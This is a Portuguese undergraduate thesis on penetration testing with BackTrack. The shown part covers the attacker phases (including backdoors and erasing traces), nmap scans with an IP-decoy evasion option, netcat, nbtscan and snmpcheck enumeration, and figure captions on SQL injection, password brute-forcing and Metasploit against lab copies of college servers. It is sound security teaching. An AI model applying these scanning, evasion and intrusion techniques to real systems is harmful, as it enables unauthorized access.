centro estadual de educaÇÃo tecnolÓgica paula …
TRANSCRIPT
CENTRO ESTADUAL DE EDUCAÇÃO TECNOLÓGICA PAULA SOUZA
FACULDADE DE TECNOLOGIA DE LINS PROF. ANTONIO SEABRA CURSO SUPERIOR DE TECNOLOGIA EM REDES DE COMPUTADORES
ENEDINO PINTO DA SILVA
FERNANDO HENRIQUE ALVES
TESTE DE PENETRAÇÃO UTILIZANDO LINUX BACKTRACK
LINS/SP 1° SEMESTRE/2014
CENTRO ESTADUAL DE EDUCAÇÃO TECNOLÓGICA PAULA SOUZA
FACULDADE DE TECNOLOGIA DE LINS PROF. ANTONIO SEABRA CURSO SUPERIOR DE TECNOLOGIA EM REDES DE COMPUTADORES
ENEDINO PINTO DA SILVA
FERNANDO HENRIQUE ALVES
TESTE DE PENETRAÇÃO UTILIZANDO LINUX BACKTRACK
Trabalho de Conclusão de Curso apresentado à Faculdade de Tecnologia de Lins para obtenção do Título de Tecnólogo em Redes de Computadores.
Orientador: Prof. Me. Julio Fernando Lieira
LINS/SP 1° SEMESTRE/2014
Gostaria de dedicar este trabalho aos meus
pais. Pois mesmo com todas as dificuldades, me deram total apoio e incentivo pra que eu tivesse uma educação de qualidade.
Enedino Pinto da Silva
AGRADECIMENTOS
Gostaria de agradecer a Deus pela saúde e força concedida nos momentos
difíceis que se passaram.
Agradeço também ao Professor Me. Julio Fernando Lieira, pela dedicação,
tanto em aulas quanto em sua orientação, dividindo seus conhecimentos e ajudando
na elaboração do trabalho.
Agradeço aos amigos e professores que diretamente ou indiretamente
contribuíram quando necessário.
Agradeço meu amigo Fernando, que demonstrou muita destreza na
elaboração do trabalho, agradeço também por dividir comigo sua experiência já
vivenciada nessa etapa, me dando todo suporte quando requisitado.
Enedino Pinto da Silva
Inicialmente, gostaria de dedicar este trabalho
aos meus pais, pois sem o apoio deles, essa trajetória teria sido muito mais custosa. Também dedico este trabalho a minha irmã, a minha vó e aos meus amigos, por terem me apoiado e torcido por mim, e à minha prima in memorian
Fernando Henrique Alves
AGRADECIMENTOS
Primeiramente gostaria de agrader a Deus, por ter me dado saúde e força
para superar as dificultades.
Agradeço também ao Professor Me. Julio Fernando Lieira, por ter prestado
orientação durante todo o desenvolvimento do trabalho, e por ter compartilhado
parte de sua experiência nas aulas e nas orientações.
Agradeço aos meus familiares, amigos e professores que me apoiaram e me
orientaram quando precisei.
Agradeço também, em especial, ao meu amigo Enedino, que se mostrou
muito competente nas etapas mais críticas do trabalho, e também se identificou
muito com a área de segurança da informação no decorrer do trabalho.
Fernando Henrique Alves
RESUMO
Este trabalho tem como tema principal a realização de testes de penetração em um ambiente real. Estudos foram realizados para a fundamentação e definição do funcionamento do teste de penetração e, após isso, o teste foi aplicado nos servidores. Neste caso, os servidores da Faculdade de tecnologia de Lins foram testados. Atualmente, até mesmo as instituições que não chamam atenção dos Hackers devem realizar procedimentos de segurança com o objetivo de tornar a rede mais segura e, como consequência, manter a integridade das informações. Manter a segurança da rede de uma empresa é uma tarefa para o administrador de redes, profissional que normalmente é o principal responsável pelo funcionamento da rede. Para manter uma rede segura, é necessário que o administrador tenha conhecimento sobre segurança de rede, e realize procedimentos para identificar falhas, ataques, serviços que já não são mais necessários para o servidor e que podem servir de porta de entrada para atacantes, e outras informações e irregularidades. O teste de penetração é um desses procedimentos que podem ser realizados. Para a realização do teste, um estudo foi realizado e documentado no trabalho, para fins de entendimento de como o teste realmente funciona. Feito isso, os testes foram realizados nos servidores DNS e WEB da Fatec, e em dois servidores vulneráveis, com o objetivo de se dar andamento ao teste de penetração, já que não foi possível se chegar à etapa de ganho de acesso ao sistema nos reais servidores da faculdade. Palavras-Chave: Teste de Penetração e Segurança de Redes.
ABSTRACT
This study has as main motif the accomplishment of penetration tests in a real environment. A research was done for obtain content and definition of how the penetration test works and after it the test was applied in the servers. In this case, the servers of the Fatec were tested. Nowadays, even the companies that does not attract attention of the Hackers must accomplish security procedures to make the network safer and as consequence, keep the integrity of the information. Keep the network saved in a company is a task for the network administrator, professional that usually is the main responsible professional for the operation of the network. Keep the network saved is necessary that the network administrator has knowledge about network security and execute procedures to identify faults, attacks, services that are not necessary for the server and can be used as front door for attackers, and other information and irregularity. The penetration test is one of these procedures that can be done. To the accomplishment of the test, a study was done and documented for purposes of how the test really works. After it, the tests was done in the DNS and WEB servers of the Fatec and in two vulnerable servers, with the goal of proceed the penetration test, because it was not possible to reach the stage of gain access in the system in the real servers of the college. Key-words: Penetration Test and Network Security.
LISTA DE ILUSTRAÇÕES
Figura 1.1 – Ferramenta dnsenum ............................................................................ 20
Figura 1.2 – Ferramenta dnsmap .............................................................................. 21
Figura 1.3 – Comando nmap –sP .............................................................................. 23
Figura 1.4 – Comando nmap –sT ............................................................................. 23
Figura 1.5 – Comando nmap -sV ............................................................................. 23
Figura 1.6 – Técnica de Despiste da Ferramenta nmap ........................................... 24
Figura 1.7 – Ferramenta Netcat ................................................................................ 24
Figura 1.8 – Comando nmap –T4 –sS –sV ............................................................... 25
Figura 1.9 – Comando nbtscan –v ............................................................................ 25
Figura 1.10 – Comando nmap –T4 –sU –sV ............................................................. 26
Figura 1.11 – Comando snmpcheck informações básicas ........................................ 26
Figura 1.12 – Comando snmpcheck informações sobre armazenamento ................ 27
Figura 1.13 – Comando snmpcheck informações sobre processos .......................... 27
Figura 1.14 – Comando snmpcheck informações sobre interface de rede .............. 28
Figura 1.15 – Comando telnet .................................................................................. 28
Figura 1.16 – Comando amap –b ............................................................................. 29
Figura 2.1 – Inicialização da ferramenta nslookup .................................................... 31
Figura 2.2 – Comando set type=any ......................................................................... 32
Figura 2.3 – Comando set type=mx .......................................................................... 33
Figura 2.4 – Comando set type=soa em fateclins.edu.br .......................................... 33
Figura 2.5 – Comando dig em www.fateclins.edu.br ................................................. 34
Figura 2.6 – Comando dig em google.com ............................................................... 35
Figura 2.7 – Comando dig em tucunare.fateclins.edu.br ........................................... 36
Figura 2.8 – Informações e vulnerabilidades e suas classificações .......................... 37
Figura 2.9 – Informações da vulnerabilidade média detectada ................................. 38
Figura 2.10 – Comando e dados recuperados através do exploit ntp-monlist.nse .... 39
Figura 2.11 – Informações da vulnerabilidade crítica detectada ............................... 40
Figura 2.12 – Detecção de varredura Nessus ........................................................... 39
Figura 3.1 - Tela Inicial do software de varredura Vega ............................................ 42
Figura 3.2 - Tela com url do alvo inserido ................................................................ 43
Figura 3.3 - Tela das vulnerabilidades detectadas no Servidor Web ....................... 43
Figura 3.4 -Esquema de árvores até que chegue no caminho desejado ................. 44
Figura 3.5 -Caminho completo para o ataque, url + parâmetro ................................ 44
Figura 3.6 -Comando executado para retornar todos os bancos disponíveis .......... 45
Figura 3.7 - Bancos de dados do servidor web ........................................................ 45
Figura 3.8 - Comando para recuperar as tabelas contidas no banco de dados ........ 46
Figura 3.9 - Tabelas contidas no banco f70675_newBDfatec .................................. 46
Figura 3.10 - Comando para recuperar colunas contidas na tabela .......................... 46
Figura 3.11 - Colunas contidas na tabela tbalunos ................................................... 47
Figura 3.12 - Recuperando os valores das colunas nomeAluno e raAluno ............... 47
Figura 3.13- Valores das colunas nomeAluno e raAluno ........................................ 48
Figura 4.1 – Varredura utilizando Nessus ................................................................ 49
Figura 4.2 – Vulnerabilidades SSH .......................................................................... 50
Figura 4.3 – Descrição Vulnerabilidade SSH ........................................................... 51
Figura 4.4 – Comando Nmap 192.168.50.10 .......................................................... 52
Figura 4.5 – Tela inicial do Hydra com alvo, porta e protocolo definidos ................ 53
Figura 4.6 – Aba passwords do Hydra com usuário e wordlist definidos ................ 54
Figura 4.7 – Aba Start com os resultados obtidos e senha capturada ..................... 55
Figura 4.8 – Demonstração do acesso realizado com sucesso .............................. 55
Figura 4.9 – Comando nc 192.168.50.10 22 com a versão do serviço ................... 56
Figura 4.10 – Resultados obtidos com sucesso através da ferramenta medusa ..... 57
Figura 4.11 – Conexão do usuário teste .................................................................. 57
Figura 4.12 – Conexão do usuário admin ................................................................ 57
Figura 4.13 – Vulnerabilidades do servidor rodando o Windows Server 2003 ......... 58
Figura 4.14 – Informações sobre a vulnerabilidade ................................................. 59
Figura 4.15 – Tela inicial do Metasploit .................................................................... 60
Figura 4.16 – Resultado da busca de exploits com o comando search .................... 60
Figura 4.17 – Ajuste de parâmetros para o exploit ................................................... 61
Figura 4.18 – Sucesso no ataque, sistema já invadido ............................................. 62
Figura 4.19 – Ajuste de parâmetros para o exploit ................................................... 62
Figura 4.20 – Serviço SSH mais atual no servidor DNS da Fatec Lins .................... 63
Figura 4.21 – Resultado com usuário Root no servidor DNS da Fatec Lins ............ 63
Figura 4.22 – Resultado com usuário Admin no servidor DNS da Fatec Lins .......... 64
Figura 4.23 – Resultado com usuário Teste no servidor DNS da Fatec Lins ........... 64
LISTAS DE ABREVIATURAS E SIGLAS
BIND - Berkeley Internet Name Domain
DNS - Domain Name System
HTTP - Hypertext Transfer Protocol
ICMP - Internet Control Message Protocol
IDS - Intrusion Detection System
IIS - Internet Information Services
IP - Internet Protocol
MAC - Media Access Control
NTP - Network Time Protocol
OWASP - Open Web Application Security Project
PENTEST - Teste de Penetração
TCP/IP - Transmission Control Protocol / Internet Protocol
TTL - Time To Live
UDP - User Datagram Protocol
SUMÁRIO
INTRODUÇÃO .................................................................................................. 13
1 TESTES DE PENETRAÇÃO .......................................................................... 16
1.1 METODOLOGIA PARA TESTE DE PENETRAÇÃO ..................................... 16
1.1.1 Coleta de informações ............................................................................. 16
1.1.2 Varreduras de sistema ............................................................................. 17
1.1.3 Ganho de acesso ao sistema ................................................................... 17
1.1.4 Manutenção do acesso ao sistema .......................................................... 17
1.1.5 Retirar evidências .................................................................................... 18
1.2 TIPOS DE TESTE DE PENETRAÇÃO PARA VARREDURAS ..................... 18
1.3 FERRAMENTAS PARA VARREDURAS ...................................................... 19
1.3.1 Informações sobre o dns .......................................................................... 19
1.3.2 Técnicas de ataque por rastreamento de portas ....................................... 22
2 TESTE DE PENETRAÇÃO EM SERVIDOR DNS ........................................... 30
2.1 SERVIDOR DNS ......................................................................................... 30
2.1.1 Extração de informações do servidor DNS ............................................... 31
2.1.2 Verificação de vulnerabilidades ................................................................ 35
3 TESTE DE PENETRAÇÃO EM SERVIDOR WEB ........................................... 41
3.1 SERVIDOR E APLICAÇÃO WEB ................................................................ 41
3.1.1 Ataque sql injection .................................................................................. 42
4 TESTE DE PENETRAÇÃO EM SERVIDOR VULNERÁVEL ............................ 49
4.1 TESTES DE PENETRAÇÃO NO LINUX REDHAT ....................................... 49
4.2 TESTES DE PENETRAÇÃO NO WINDOWS SERVER 2003 ....................... 58
4.3 IMPORTÂNCIA DA ATUALIZAÇÃO DOS SERVIÇOS ................................. 62
CONCLUSÃO ............................................................................................................ 66
REFERÊNCIAS BIBLIOGRÁFICAS .......................................................................... 67
13
INTRODUÇÃO
Segundo Tanenbaum (2003), em cada um dos séculos anteriores, existiu uma
tecnologia dominante. O século XVIII teve como principal tecnologia os sistemas
mecânicos, o século XIX teve as máquinas a vapor e o século XX teve o
processamento e distribuição das informações. Além disso, pode-se notar o
desenvolvimento de outras tecnologias como as redes de telefonia em todo o
mundo, a indústria de informática e a utilização de satélites de comunicação. Em
meio às tecnologias desenvolvidas, a informática teve um progresso muito grande e,
para provar isso, podemos citar as mudanças na estrutura dos sistemas
computacionais que atendem as necessidades das empresas. Durante as duas
primeiras décadas, esses sistemas eram altamente centralizados, mas foram
substituídos pelas denominadas redes de computadores, nas quais as tarefas são
feitas por um grande número de computadores individuais interconectados.
De acordo com Maia (2009), uma rede de computadores é o conjunto de
dispositivos interligados com a finalidade de trocar dados e compartilhar recursos.
As primeiras redes de computadores eram formadas por computadores de grande
porte e computadores pessoais, mas, atualmente, dispositivos como impressoras,
telefones celulares, televisões ou qualquer outro dispositivo que possa processar
dados, também pode fazer parte da rede.
Para Torres (2009), hoje em dia, quando o assunto é informática, é muito
difícil não pensar em redes de computadores. É possível justificar esta afirmação,
pelo simples fato de que muitas pessoas compram computadores para acessar a
internet. Atualmente, mesmo não estando presente em um ambiente explícito de
informática, quase sempre estamos em contato com algum tipo de rede, pois
computadores interconectados fazem parte dos ambientes dos bancos,
supermercados, farmácias e vários outros lugares.
Nessa era globalizada, na qual tudo é movido pelas tendências tecnológicas,
é possível que uma pessoa possa utilizar serviços de sistemas financeiros online,
enviar emails e comprar produtos por meio de sites de comércio eletrônico. Ao lado
dessas facilidades proporcionadas pelo mundo digital, as empresas buscam por
soluções como o uso de antivirus, sistemas de criptografia junto à complexas regras
de firewall e Intrusion Detection System (IDS), para se protegerem de invasores
14
denominados blackhats, que pela mídia são conhecidos como hackers. Os blackhats
possuem muito conhecimento sobre sistemas e redes de computadores e, devido a
isso, conseguem acesso a informações restritas e podem provocar danos
incalculáveis. (GIAVAROTO; SANTOS, 2013)
Com o objetivo de auxiliar as redes conectadas à internet brasileira no quesito
segurança, o site Cert.br reúne informações sobre incidentes de segurança
ocorridos na Internet brasilieira e divulga estatísticas sobre estes. Este órgão conduz
atividades como o estabelecimento de diretrizes estratégicas relacionadas ao uso e
desenvolvimento da internet no Brasil, promove estudos e recomenda
procedimentos para a segurança das redes e serviços de Internet. De modo geral, o
Cert.br objetiva aumentar os níveis de segurança das redes brasileiras.
Para Giavaroto e Santos (2013), é muito importante que os administradores
de redes tenham em mente que os blackhats estão em evolução, pois além dos
muitos métodos de invasão já utilizados, novas táticas estão surgindo. Dessa forma,
é essencial que os profissionais de redes estejam preparados para lidar com
situações que envolvam segurança da informação, para que possam manter o
ambiente seguro.
Como consequência de uma análise dos fatos abordados, o objetivo deste
trabalho foi utilizar a distribuição Linux Backtrack, importante Sistema Operacional
para testes de penetração em servidores, para aplicar uma metodologia de teste de
penetração real nos servidores de uma Instituição. Porém, os testes não foram
aplicados nos servidores em produção, pois os mesmos poderiam prejudicar o
funcionamento dos servidores. Desse modo, cópias dos servidores foram instaladas
e configuradas em máquinas virtuais, para que este trabalho pudesse simular um
real teste de penetração sem prejudicar o funcionamento dos verdadeiros
servidores. Os testes foram realizados nos servidores da Fatec Lins e, como produto
final deste trabalho, foram elaborados nos capítulos dois, três e quatro, manuais
para teste de penetração no servidor DNS e WEB da Fatec, e em um servidor
vulnerável, respectivamente.
Para facilitar o entendimento do trabalho, o mesmo foi dividido em quatro
capítulos. No Primeiro são abordados os tópicos sobre a metodologia e tipos de
teste de penetração, e são feitas demonstrações de diversos comandos presentes
no Linux Backtrack.
15
No segundo capítulo, é descrita a forma na qual o teste de penetração foi
realizado no servidor DNS da Fatec. Para a realização do teste no servidor DNS,
uma cópia do servidor foi feita para uma máquina virtual, pois os testes não
poderiam ter sido realizados no servidor em produção.
No terceiro capítulo, o teste de penetração realizado no servidor WEB da
Fatec Lins é abordado. Um cópia do servidor WEB também foi feita para uma
maquina virtual, pois a realização de testes diretamente no servidor em produção,
pode afetar o funcionamento do mesmo.
No quarto capítulo, devido ao escasso número de vulnerabilidades presentes
no servidor DNS e WEB da Fatec e o insucesso no teste de penetração, foi realizado
o teste de penetração em dois servidores vulneráveis. Os servidores vulneráveis
possuem os sistemas operacionais Linux Red Hat e Windows Server 2003, e nesses
sistemas operacionais haviam diversos serviços vulneráveis.
A realização de testes de penetração é uma boa prática para os
administradores de redes, pois desse modo, o mesmo poderá tornar a rede de sua
empresa cada vez mais segura.
16
1 TESTES DE PENETRAÇÃO
Neste capítulo são descritas a metodologia e tipos de Testes de Penetração
(Pentest), e será feita uma demonstração do funcionamento das ferramentas do
Linux BackTrack utilizadas para coleta de informações nos Testes de Penetração.
1.1 METODOLOGIA PARA TESTE DE PENETRAÇÃO
O Pentest é um método utilizado para testes de penetração e descoberta de
falhas em uma rede de computadores ou sistemas operacionais. Neste método, são
consideradas todas as possibilidades de vulnerabilidades, e são utilizadas
ferramentas que permitem que se conheça toda a estrutura de um sistema, uma vez
que o Pentest faz uso de métodos que simulam ataques de um intruso que objetiva
obter acesso ao sistema. Todos os dados obtidos por meio do Pentest resultarão em
relatórios, pois a efetiva busca por informações contribuirá com o resultado positivo
ao realizar o ataque sobre o alvo. Os procedimentos do Pentest, assim como os
ataques realizados por Hackers, são divididos em cinco etapas, são elas: coleta de
informações, varreduras de sistema, ganho de acesso ao sistema, manter acesso ao
sistema, retirar evidências. (GIAVAROTO; SANTOS, 2013)
1.1.1 COLETA DE INFORMAÇÕES
Esta etapa abrange 90% do trabalho, pois quanto mais informações obtidas
sobre o sistema no qual se pretende ter acesso, maiores as chances de sucesso na
invasão. Todas as informações sobre servidores, roteadores, firewalls (Software ou
equipamento que filtra os dados de uma rede com o objetivo de mantê-la segura),
costumes dos funcionários e sua capacitação, e-mails, telefones, entre outras,
devem ser consideradas. Também é possível conseguir informações importantes por
meio de sites de relacionamentos como o Facebook, Orkut, entre outros, pois
Diretores, Gerentes e Administradores de Redes, muitas vezes, por prazer pessoal,
publicam informações sem levar em conta que uma pessoa mal intencionada pode
fazer uso dessas informações para quebrar o sigilo de sua empresa. Atualmente,
poucas empresas realizam o treinamento de diretores, gerentes e administradores
17
que atuam em setores nos quais as informações que eles têm acesso são muito
importantes. A informatização evoluiu muito rápido e envolveu muitas pessoas de
forma inesperada, desse modo, problemas com segurança da informação podem ser
causados não só por falhas de equipamentos, mas também por falhas de pessoas.
(GIAVAROTO; SANTOS, 2013)
1.1.2 VARREDURAS DE SISTEMA
Segundo Giavaroto e Santos (2013), após ter obtido todas as informações
necessárias na etapa de coleta de informações, nessa etapa, deve-se utilizar a
ferramenta adequada para a exploração da deficiência. Componentes de Hardware
como servidores e componentes de software como firewalls e serviços utilizados em
portas específicas são abordados nesta etapa. O IDS é o software que atua em uma
rede com o objetivo de detectar ataques, deve ser estudado com maior critério, para
que se possa aplicar o mecanismo correto de intrusão e, como consequência, ter
maiores chances de se burlar as dificuldades impostas pelo mesmo. O sistema de
firewall pode ser visto como uma boa opção de entrada, se possuir regras mal
configuradas, mas também pode ser visto como uma das grandes dificuldades, se
possuir regras bem aplicadas.
1.1.3 GANHO DE ACESSO AO SISTEMA
Nesta etapa, devido à descoberta de vulnerabilidade, a invasão é
concretizada e, assim, é possível que se explore o sistema com o objetivo de
encontrar outras formas de fortalecer o ataque. Uma vez que o acesso ao sistema
foi possível, o nível e foco de detalhamento que o invasor irá realizar podem variar
de acordo com a experiência e personalidade do mesmo. (GIAVAROTO; SANTOS,
2013)
1.1.4 MANUTENÇÃO DO ACESSO AO SISTEMA
Após a invasão ter sido consolidada, nesta etapa, o invasor realiza a
instalação de softwares como rootkits e backdoors para a abertura de portas e
organização de diretórios de uma forma que facilite suas próprias ações. É
18
importante considerar que nem sempre uma invasão é realizada com o objetivo de
danificar o sistema operacional, pois muitas vezes a invasão é realizada com o
objetivo de obtenção de lucro e realização de crimes. Nessa situação, o invasor
estaria disposto até a corrigir falhas encontradas ao explorar o sistema, mas sempre
deixará uma alternativa de acesso para não correr o risco de perder acesso ao
sistema caso tenha problemas com a primeira invasão realizada. (GIAVAROTO;
SANTOS, 2013)
1.1.5 RETIRAR EVIDÊNCIAS
De acordo com Giavaroto e Santos (2013), grande parte dos invasores mais
experientes leva muito a sério a etapa de retirada de evidências, pois estão cientes
da gravidade das ações as quais eles realizam. Dessa forma, eles fazem
planejamentos para apagar seus rastros com o objetivo de evitar que sua
identificação ou localização sejam descobertas. O Pentest faz uso dos mesmos
conceitos de limpeza de rastros, pois com isso, será possível criar metodologias de
rastreamento de invasores, realizar estudos e novas configurações com o intuito de
aumentar a segurança do sistema verificado.
1.2 TIPOS DE TESTE DE PENETRAÇÃO PARA VARREDURAS
Segundo Giavaroto e Santos (2013), os tipos de teste de penetração têm
como objetivo classificar os testes e, desse modo, fazer com que seja possível medir
o impacto que um tipo de teste tem em um sistema alvo, caso a invasão seja bem
sucedida. A aplicação de testes de modo que seja possível medir o impacto do
ataque, é considerada uma excelente auditoria de segurança na área de Tecnologia
da Informação, utilizando como base o protocolo Transmission Control Protocol /
Internet Protocol (TCP/IP). Os tipos de teste de penetração são:
Blind: procedimento no qual o auditor não conhece o sistema no qual ele irá
atacar e deverá criar meios para obter resultado positivo sobre o alvo. Já o
sistema alvo está ciente que será atacado e conhece as ações nas quais o
Pentest irá realizar.
Double Blind: teste no qual o auditor não tem informações sobre o sistema alvo, e
o sistema alvo não sabe que será atacado.
19
Gray Box: teste no qual o auditor tem pouco conhecimento sobre o sistema alvo,
e o sistema alvo sabe que será atacado e quais testes serão aplicados.
Double Gray Box: procedimento no qual o auditor tem pouco conhecimento sobre
o sistema alvo, e o sistema alvo sabe que será atacado, mas não contém
nenhuma informação de quais testes serão aplicados.
Tandem: procedimento no qual o auditor tem conhecimento total sobre o sistema
alvo, e o sistema alvo sabe que será atacado e quais testes serão aplicados.
Reversal: teste no qual o auditor tem conhecimento total sobre o sistema alvo, e o
sistema alvo não sabe que será atacado e não tem conhecimento sobre quais
testes serão aplicados.
Ao aplicar os métodos do Pentest, pode-se definir duas situações
habitualmente utilizadas na área de varredura pelo analista de segurança, são elas:
Black Box, situação que é caracterizada pela falta de conhecimento sobre o
sistema alvo, necessita de detalhamento dos dados analisados para que seja
possível definir a localização e grandeza dos sistemas e aplicativos abrangidos
antes de executar as técnicas de análise almejadas.
White Box, nesta situação a pessoa responsável por realizar os testes possui total
conhecimento sobre o sistema alvo. Além disso, são executadas simulações do
ambiente real da empresa ou situações nas quais pode ocorrer vazamento de
informações.
1.3 FERRAMENTAS PARA VARREDURAS
Nesta seção, será feita uma demonstração do funcionamento de algumas
ferramentas importantes no processo de busca de informações sobre o alvo.
1.3.1 INFORMAÇÕES SOBRE O DNS
O serviço Domain Name System (DNS) é responsável pela resolução de
nomes em uma rede de computadores, ou seja, este serviço traduz o IP em nome
de domínios. Este serviço deve sempre estar bem configurado, pois caso contrário,
poderá fornecer informações comprometedoras sobre a empresa que o mantém em
funcionamento. Ao atacar um servidor DNS mal configurado, o atacante poderá
20
recuperar informações sobre versão, atualização, expiração, valor Time To Live
(TTL), endereço dos servidores, serviços de e-mail, entre outras. (GIAVAROTO;
SANTOS, 2013)
As ferramentas a serem mostradas nesta seção são: dnsenum e dnsmap.
Para isso, o domínio livroBacktrack.br servirá de cobaia. A ferramenta dnsenum, que
será a primeira a ser mostrada, permite a pesquisa por dados como nomes de
servidores, serviços de e-mail, IPs, entre outros. Na figura 1.1 é mostrada a
execução básica da ferramenta dnsenum contra o domínio livroBacktrack.br.
Figura 1.1 – Ferramenta dnsenum Fonte: Giavaroto; Santos, 2013, p.54
21
A ferramenta dnsmap permite buscar informações sobre subdomínios do
domínio alvo, e já vem com uma lista de itens que são inclusos na pesquisa. Porém,
para a demonstração, uma lista foi criada, e os seguintes nomes foram adicionados:
ftp, mysql, painel, admin e uploads.
Na figura 1.2, é apresentado o funcionamento da ferramenta dnsmap contra o
domínio livroBacktrack.br.
Figura 1.2 – Ferramenta dnsmap Fonte: Giavaroto; Santos, 2013, p.55
22
1.3.2 Técnicas de ataque por rastreamento de portas
Conforme Giavaroto e Santos (2013), as técnicas por rastreamento de portas
são muito usadas por atacantes para identificar serviços vulneráveis. Todas as
estações ligadas a uma rede possuem serviços que fazem uso de portas TCP e
User Datagram Protocol (UDP). Desse modo, ao realizar um rastreamento, uma
mensagem de cada vez é enviada para cada uma das portas, desde a mais comum,
até a menos usada. Com a mensagem enviada, haverá uma resposta e, a partir
dela, será possível identificar se uma porta está sendo usada ou não e, caso esteja,
o atacante poderá realizar testes com o objetivo de encontrar falhas de segurança
no sistema.
O rastreamento se divide em três tipos: de porta, de vulnerabilidade e de
rede. No rastreamento de portas, são verificadas as portas e os serviços ativos, no
rastreamento de vulnerabilidades, são identificadas as fraquezas do sistema e, por
fim, no rastreamento de rede, são identificados os hosts ativos. Existem várias
ferramentas para rastreamento de portas, mas nesta seção serão mostradas as
ferramentas nmap e netcat que estão contidas no Linux BackTrack. A primeira
ferramenta a ser abordada é o nmap, que tem como principais funções identificar
portas, serviços e versões. Esta ferramenta pode ser encontrada com o nome de
zenmap, quando em algumas versões Unix e Windows, ela está disponível com
interface gráfica. Para a demonstração do uso da ferramenta, uma estação com o
Windows XP Professional Service Pack 2 instalado e com o IP 192.168.0.3
configurado, será utilizada como alvo.
Segundo Giavaroto e Santos (2013), o nmap pode ser executado de
diferentes formas para diferentes objetivos. Algumas formas de execução do nmap
são: TCP SYN (-sS), examina as portas do alvo de forma rápida e invisível e, dessa
forma, é mais difícil de ser detectado por firewalls ou IDS. TCP Connect (-sT),
executa varredura utilizando Three-Way Handshake e é facilmente detectado. UDP
(-sU), possibilita varredura do protocolo UDP. TCP FIN (-sF, -sX, -sN), utilizados na
tentativa de travessia de firewalls. TCP ACK (-sA), utilizado para detecção de regras
de firewall. TCP Windows (-sW), possibilita varredura por janelas e pode detectar
portas abertas, filtradas e não filtradas.
Primeiramente, será feita uma varredura básica para se saber se o host está
ativo e se respostas Internet Control Message Protocol (ICMP), estão podendo
23
passar pelo firewall do alvo. Na figura 1.3, é apresentado o funcionamento do
comando nmap –sP contra o alvo.
Figura 1.3 – Comando nmap –sP Fonte: Elaborado pelos autores, 2013
Após executar este comando, é possível perceber que a estação está ativa,
pois em uma das linhas do resultado, é exibido “Host is up”. O modo de varredura
TCP Connect permite uma recuperação de dados mais completa, mas não é
aconselhável, pois qualquer IDS ou firewall pode detectar a ação. Na figura 1.4, é
mostrado o funcionamento do comando nmap –sT, contra o alvo.
Figura 1.4 – Comando nmap –sT Fonte: Elaborada pelos autores, 2013
A execução do comando nmap –sT retornou algumas portas abertas no
sistema operacional alvo, porém com poucos detalhes. Para obter mais informações,
como por exemplo, a versão do serviço que executa em determinada porta, pode-se
utilizar o comando nmap –sV. Na figura 1.5, é exibido o funcionamento do comando
nmap –sV contra o alvo.
Figura 1.5 – Comando nmap -sV Fonte: Elaborada pelos autores, 2013
24
Como citado anteriormente, a execução de comandos de varreduras pode ser
detectada por algum serviço de segurança do sistema alvo. Para isso, a ferramenta
nmap oferece um recurso de despiste, que consiste em especificar um IP no
momento da execução do comando, para que se alguma detecção ocorrer, o IP que
irá constar na detecção, será o IP especificado pelo atacante, e não o IP da máquina
do atacante. Porém, para que esta técnica de despiste funcione corretamente, o IP
especificado pelo atacante deverá estar ativo. Na figura 1.6 é exibida a sintaxe do
comando nmap para que o recurso do despiste seja utilizado.
Figura 1.6 – Técnica de Despiste da Ferramenta nmap Fonte: Elaborada pelos autores, 2013
O netcat é uma ferramenta conhecida como canivete suíço, está presente nas
versões Unix e Windows e permite varreduras TCP e UDP. Na figura 1.7 é
apresentado o funcionamento do netcat contra um alvo que contém o Linux Ubuntu
instalado e o IP 192.168.0.4 configurado.
Figura 1.7 – Ferramenta Netcat Fonte: Elaborada pelos autores, 2013
1.3.3 Técnicas de Varreduras Avançadas
Ao se fazer uso de técnicas de varreduras avançadas, é possível obter dados
como os nomes das máquinas alvo, usuários, serviços e versões,
compartilhamentos, entre outros. Entretanto, o cuidado ao executar essas técnicas
deve ser muito maior, pois serviços de segurança que residem nas estações alvo
poderão fazer registros desses ataques. (GIAVAROTO; SANTOS, 2013)
25
Na figura 1.8, é mostrado o funcionamento do comando nmap –T4 –sS –sV
contra a estação que contém o Windows XP Professional instalado e o IP
192.168.0.3 configurado, com o objetivo de recuperar versões de serviços.
Figura 1.8 – Comando nmap –T4 –sS –sV Fonte: Elaborada pelos autores, 2013
Vários serviços e suas respectivas versões foram retornados. Entre os
serviços retornados, encontra se o serviço netbios e, devido a isso, pode-se fazer
uso da ferramenta nbtscan para se obter o nome da máquina e seu endereço de
Media Access Control (MAC), endereço que identifica a placa de rede. Na figura 1.9,
é mostrado o funcionamento da do comando nbtscan –v contra o alvo.
Figura 1.9 – Comando nbtscan –v Fonte: Elaborada pelos autores, 2013
Como pode-se observar na figura 1.9, foi possível recuperar o nome da
máquina que neste caso é “escritor”, o grupo de trabalho “workgroup” e o endereço
MAC. Até o momento, as vulnerabilidades foram buscadas em serviços que utilizam
o protocolo TCP e não em serviços que utilizam o protocolo UDP. Desse modo, o
próximo passo é executar uma varredura em serviços que utilizam o protocolo UDP.
Na figura 1.10, é apresentado o funcionamento do comando nmap –T4 –sU –sV
contra o alvo que possui o Windows XP.
26
Figura 1.10 – Comando nmap –T4 –sU –sV Fonte: Elaborada pelos autores, 2013
Na figura 1.10, pode-se observar que o serviço snmp se encontra ativo e,
devido a isso, será possível obter diversas informações sobre o alvo por meio do uso
da ferramenta snmpcheck. Com essa ferramenta é possível recuperar dados como:
contatos, hardware, interfaces de redes, serviços, processos, memória total, contas
do usuário, entre outros. Para a execução da ferramenta, o seguinte diretório deverá
ser acessado: pentest/enumeration/snmp/snmpcheck/. Na figura 1.11, é apresentado
o funcionamento da ferramenta snmpcheck, que no início do resultado, traz
informações básicas sobre o alvo que contém o Windows XP instalado. Devido à
grande quantidade de informações recuperadas ao executar este comando, o
resultado será mostrado por etapas.
Figura 1.11 – Comando snmpcheck informações básicas Fonte: Elaborada pelos autores, 2013
27
Na segunda etapa de exibição de resultados da execução da ferramenta
snmpcheck, são mostradas as informações sobre armazenamento da estação alvo.
Na figura 1.12, são mostradas as informações sobre armazenamento recuperadas
pelo comando snmpcheck.
Figura 1.12 – Comando snmpcheck informações sobre armazenamento Fonte: Elaborada pelos autores, 2013
Na terceira etapa, são mostradas as informações sobre os processos que são
executados pela estação alvo. Na figura 1.13, são mostradas as informações sobre
os processos, que foram recuperadas pelo comando snmpcheck.
Figura 1.13 – Comando snmpcheck informações sobre processos Fonte: Elaborada pelos autores, 2013
28
Na quarta e última etapa, são mostradas as informações sobre a interface de
rede da estação alvo. Na figura 1.14, são mostradas as informações sobre a
interface de rede, recuperadas pelo comando snmpcheck.
Figura 1.14 – Comando snmpcheck informações sobre interface de rede Fonte: Elaborada pelos autores, 2013
